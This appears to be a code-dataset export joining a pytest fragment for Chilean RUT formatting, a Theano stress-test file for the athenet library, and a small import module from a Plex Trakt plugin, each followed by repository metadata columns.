@pytest.mark.parametrize("test_input, expected_value", [
(None, ValueError),
("", ValueError),
(" ", ValueError),
("k", ValueError),
("ab", ValueError),
("*", ValueError),
("1-", ValueError),
(".-", ValueError),
("1.", ValueError),
("1.11", ValueError)
])
def test_invalid_argument(self, test_input, expected_value):
with pytest.raises(ValueError) as error:
rut_chile.format_rut_without_dots(test_input)
assert type(error.value) is expected_value
@pytest.mark.parametrize("test_input, expected_value", [
("12", "1-2"),
("123", "12-3"),
("1234", "123-4"),
("12345", "1234-5"),
("123456", "12345-6"),
("1234567", "123456-7"),
("12345678", "1234567-8"),
("123456789", "12345678-9"),
("123456789k", "123456789-k"),
])
def test_valid_rut(self, test_input, expected_value):
assert rut_chile.format_rut_without_dots(test_input) == expected_value
class TestFormatCapitalizedRutWithoutDots:
@pytest.mark.parametrize("test_input, expected_value", [
(None, ValueError),
("", ValueError),
(" ", ValueError),
("k", ValueError),
("ab", ValueError),
("*", ValueError),
("1-", ValueError),
(".-", ValueError),
("1.", ValueError),
("1.11", ValueError)
])
def test_invalid_argument(self, test_input, expected_value):
with pytest.raises(ValueError) as error:
rut_chile.format_capitalized_rut_without_dots(test_input)
assert type(error.value) is expected_value
@pytest.mark.parametrize("test_input, expected_value", [
("12", "1-2"),
("123", "12-3"),
("1234", "123-4"),
("12345", "1234-5"),
("123456", "12345-6"),
("1234567", "123456-7"),
("12345678", "1234567-8"),
("123456789", "12345678-9"),
("123456789k", "123456789-K"),
])
def test_valid_rut(self, test_input, expected_value):
rut = rut_chile.format_capitalized_rut_without_dots(test_input)
assert rut == expected_value
| 32.025362
| 78
| 0.548365
| 909
| 8,839
| 5.133113
| 0.10011
| 0.086798
| 0.127518
| 0.165024
| 0.856837
| 0.851907
| 0.843978
| 0.822117
| 0.814188
| 0.791042
| 0
| 0.143611
| 0.271298
| 8,839
| 275
| 79
| 32.141818
| 0.58081
| 0
| 0
| 0.738095
| 0
| 0
| 0.169476
| 0
| 0
| 0
| 0
| 0
| 0.059524
| 1
| 0.059524
| false
| 0
| 0.007937
| 0
| 0.095238
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
b330e0dc73dd12232fd291b3233b78f2c70ae406
| 8,795
|
py
|
Python
|
athenet/tests/stress_test.py
|
heurezjusz/Athena
|
0bdda97b0e06dbb3c1699d4ed7875e4adc96d580
|
[
"BSD-2-Clause"
] | 2
|
2016-02-02T12:59:39.000Z
|
2018-03-29T17:17:11.000Z
|
athenet/tests/stress_test.py
|
heurezjusz/Athenet
|
0bdda97b0e06dbb3c1699d4ed7875e4adc96d580
|
[
"BSD-2-Clause"
] | 5
|
2016-01-10T23:23:57.000Z
|
2016-03-26T16:29:42.000Z
|
athenet/tests/stress_test.py
|
heurezjusz/Athena
|
0bdda97b0e06dbb3c1699d4ed7875e4adc96d580
|
[
"BSD-2-Clause"
] | 1
|
2020-02-26T20:19:17.000Z
|
2020-02-26T20:19:17.000Z
|
"""Stress testing athenet.algorithm.derest.derivative functions.
"""
import numpy as np
import theano
import theano.tensor as T
import unittest
from math import e
from athenet.algorithm.numlike import TheanoInterval
from athenet.algorithm.derest.derivative import *
from athenet.algorithm.derest.activation import *
from numpy.random import rand
import timeit
theano.config.exception_verbosity = 'high'
theano.config.optimizer = 'fast_compile'
A = np.array
def theano_var(x):
return theano.shared(rand(*x).astype(theano.config.floatX))
def theano_interval(x):
v = theano_var(x)
return TheanoInterval(v, v)
class ActivationStressTest(unittest.TestCase):
def check_time(self, name, start_time, constr_time, ex_time):
print ''
print name + ':'
print 'constr_time:', constr_time - start_time
print 'ex_time:', ex_time - constr_time
def test_fully_connected(self):
iinp = theano_interval((1024,))
b = theano_interval((1000,))
w = theano_var((1024, 1000))
start_time = timeit.default_timer()
iout = fully_connected(iinp, w, b)
constr_time = timeit.default_timer()
l, u = iout.eval()
ex_time = timeit.default_timer()
self.check_time('fully_connected', start_time, constr_time, ex_time)
def test_convolutional(self):
shp = (3, 224, 224)
iinp = theano_interval(shp)
w = theano_var((64, 3, 7, 7))
b = theano_var((64,))
start_time = timeit.default_timer()
iout = conv(iinp, shp, w, (64, 7, 7), b, stride=(2, 2),
padding=(3, 3))
constr_time = timeit.default_timer()
l, u = iout.eval()
ex_time = timeit.default_timer()
self.check_time('convolutional', start_time, constr_time, ex_time)
def test_avg_pool(self):
shp = (24, 16, 16)
# TODO: test this (real case) (memory / time issues)
# shp = (4, 192, 28, 28)
iinp = theano_interval(shp)
start_time = timeit.default_timer()
iout = pool(iinp, shp, poolsize=(3, 3), stride=(1, 1), mode='avg')
constr_time = timeit.default_timer()
l, u = iout.eval()
ex_time = timeit.default_timer()
self.check_time('avg_pool', start_time, constr_time, ex_time)
def test_max_pool(self):
shp = (24, 16, 16)
# TODO: test this (real case) (memory / time issues)
# shp = (4, 192, 28, 28)
iinp = theano_interval(shp)
start_time = timeit.default_timer()
iout = pool(iinp, shp, poolsize=(3, 3), stride=(1, 1), mode='max')
constr_time = timeit.default_timer()
l, u = iout.eval()
ex_time = timeit.default_timer()
self.check_time('max_pool', start_time, constr_time, ex_time)
def test_softmax(self):
# TODO: test this (real case) (memory / time issues)
# shp = (1000,)
# TODO: I think that softmax doesn't have to be calculated for Derest
shp = (20,)
iinp = theano_interval(shp)
start_time = timeit.default_timer()
iout = softmax(iinp, *shp)
constr_time = timeit.default_timer()
l, u = iout.eval()
ex_time = timeit.default_timer()
self.check_time('softmax', start_time, constr_time, ex_time)
def test_norm(self):
alpha = 0.00002
beta = 0.75
k = 1.0
n = 5
shp = (64, 56, 56)
iinp = theano_interval(shp)
start_time = timeit.default_timer()
iout = norm(iinp, shp)
constr_time = timeit.default_timer()
l, u = iout.eval()
ex_time = timeit.default_timer()
self.check_time('norm', start_time, constr_time, ex_time)
def test_dropout(self):
iinp = theano_interval((50, 1024, 1, 1))
start_time = timeit.default_timer()
iout = d_dropout(iinp, 0.8)
constr_time = timeit.default_timer()
l, u = iout.eval()
ex_time = timeit.default_timer()
self.check_time('dropout', start_time, constr_time, ex_time)
def test_relu(self):
iinp = theano_interval((50, 1024, 1, 1))
start_time = timeit.default_timer()
iout = relu(iinp)
constr_time = timeit.default_timer()
l, u = iout.eval()
ex_time = timeit.default_timer()
self.check_time('relu', start_time, constr_time, ex_time)
class DerivativeStressTest(unittest.TestCase):
def check_time(self, name, start_time, constr_time, ex_time):
print ''
print name + ':'
print 'constr_time:', constr_time - start_time
print 'ex_time:', ex_time - constr_time
def test_fully_connected(self):
idout = theano_interval((1, 1000))
w = rand(1024, 1000)
shp = (1, 1024)
start_time = timeit.default_timer()
din = d_fully_connected(idout, w, shp)
constr_time = timeit.default_timer()
l, u = din.eval()
ex_time = timeit.default_timer()
self.check_time('d_fully_connected', start_time, constr_time, ex_time)
def test_convolutional(self):
dout = theano_interval((1, 2, 14, 14))
w = theano_var((2, 3, 7, 7))
start_time = timeit.default_timer()
din = d_conv(dout, (1, 3, 28, 28), (2, 7, 7), w, stride=(2, 2),
padding=(3, 3))
# TODO: test this (real case) (memory / time issues)
# dout = theano_interval((1, 64, 112, 112))
# w = theano_var((64, 3, 7, 7))
# start_time = timeit.default_timer()
# din = d_conv(dout, (1, 3, 244, 244), (64, 7, 7), w, stride=(2, 2),
# padding=(3, 3))
constr_time = timeit.default_timer()
l, u = din.eval()
ex_time = timeit.default_timer()
self.check_time('d_convolutional', start_time, constr_time, ex_time)
def test_avg_pool(self):
shp = (4, 24, 14, 14)
# TODO: test this (real case) (memory / time issues)
# shp = (4, 192, 28, 28)
iinp = theano_interval(shp)
idout = theano_interval(shp)
start_time = timeit.default_timer()
din = d_pool(idout, iinp, shp, poolsize=(3, 3), padding=(1, 1),
stride=(1, 1), mode='avg')
constr_time = timeit.default_timer()
l, u = din.eval()
ex_time = timeit.default_timer()
self.check_time('d_avg_pool', start_time, constr_time, ex_time)
def test_max_pool(self):
shp = (2, 12, 3, 3)
# TODO: test this (real case) (memory / time issues)
# shp = (4, 192, 28, 28)
iinp = theano_interval(shp)
idout = theano_interval(shp)
start_time = timeit.default_timer()
din = d_pool(idout, iinp, shp, poolsize=(3, 3), padding=(1, 1),
stride=(1, 1), mode='max')
constr_time = timeit.default_timer()
l, u = din.eval()
ex_time = timeit.default_timer()
self.check_time('d_max_pool', start_time, constr_time, ex_time)
def test_softmax(self):
dout = TheanoInterval.derest_output(1000)
start_time = timeit.default_timer()
din = d_softmax(dout)
constr_time = timeit.default_timer()
l, u = din.eval()
ex_time = timeit.default_timer()
self.check_time('d_softmax', start_time, constr_time, ex_time)
def test_norm(self):
alpha = 0.00002
beta = 0.75
k = 1.0
n = 5
# TODO: Check higher batch size (memory issues)
# iinp = theano_interval((50, 64, 56, 56))
# idout = theano_interval((50, 64, 56, 56))
iinp = theano_interval((10, 64, 56, 56))
idout = theano_interval((10, 64, 56, 56))
shp = (10, 64, 56, 56)
start_time = timeit.default_timer()
din = d_norm(idout, iinp, shp, n, k, alpha, beta)
constr_time = timeit.default_timer()
l, u = din.eval()
ex_time = timeit.default_timer()
self.check_time('d_norm', start_time, constr_time, ex_time)
def test_dropout(self):
idout = theano_interval((50, 1024, 1, 1))
start_time = timeit.default_timer()
idin = d_dropout(idout, 0.8)
constr_time = timeit.default_timer()
l, u = idin.eval()
ex_time = timeit.default_timer()
self.check_time('d_dropout', start_time, constr_time, ex_time)
def test_relu(self):
idout = theano_interval((50, 1024, 1, 1))
iinp = theano_interval((50, 1024, 1, 1))
start_time = timeit.default_timer()
idin = d_relu(idout, iinp)
constr_time = timeit.default_timer()
l, u = idin.eval()
ex_time = timeit.default_timer()
self.check_time('d_relu', start_time, constr_time, ex_time)
if __name__ == '__main__':
unittest.main(verbosity=2, catchbreak=True)
| 35.752033
| 78
| 0.598636
| 1,190
| 8,795
| 4.195798
| 0.115966
| 0.098137
| 0.166834
| 0.215902
| 0.780092
| 0.780092
| 0.744442
| 0.708792
| 0.70018
| 0.687362
| 0
| 0.048681
| 0.275952
| 8,795
| 245
| 79
| 35.897959
| 0.735396
| 0.092211
| 0
| 0.617801
| 0
| 0
| 0.028626
| 0
| 0
| 0
| 0
| 0.004082
| 0
| 0
| null | null | 0
| 0.052356
| null | null | 0.041885
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
b3542642cf82e92068bdf5e654fc0ba43f46994d
| 171
|
py
|
Python
|
Trakttv.bundle/Contents/Libraries/Shared/oem/media/show/__init__.py
|
disrupted/Trakttv.bundle
|
24712216c71f3b22fd58cb5dd89dad5bb798ed60
|
[
"RSA-MD"
] | 1,346
|
2015-01-01T14:52:24.000Z
|
2022-03-28T12:50:48.000Z
|
Trakttv.bundle/Contents/Libraries/Shared/oem/media/show/__init__.py
|
alcroito/Plex-Trakt-Scrobbler
|
4f83fb0860dcb91f860d7c11bc7df568913c82a6
|
[
"RSA-MD"
] | 474
|
2015-01-01T10:27:46.000Z
|
2022-03-21T12:26:16.000Z
|
Trakttv.bundle/Contents/Libraries/Shared/oem/media/show/__init__.py
|
alcroito/Plex-Trakt-Scrobbler
|
4f83fb0860dcb91f860d7c11bc7df568913c82a6
|
[
"RSA-MD"
] | 191
|
2015-01-02T18:27:22.000Z
|
2022-03-29T10:49:48.000Z
|
from oem.media.show.identifier import EpisodeIdentifier # NOQA
from oem.media.show.mapper import ShowMapper # NOQA
from oem.media.show.match import EpisodeMatch # NOQA
| 42.75
| 63
| 0.807018
| 24
| 171
| 5.75
| 0.5
| 0.152174
| 0.26087
| 0.347826
| 0.289855
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.122807
| 171
| 3
| 64
| 57
| 0.92
| 0.081871
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.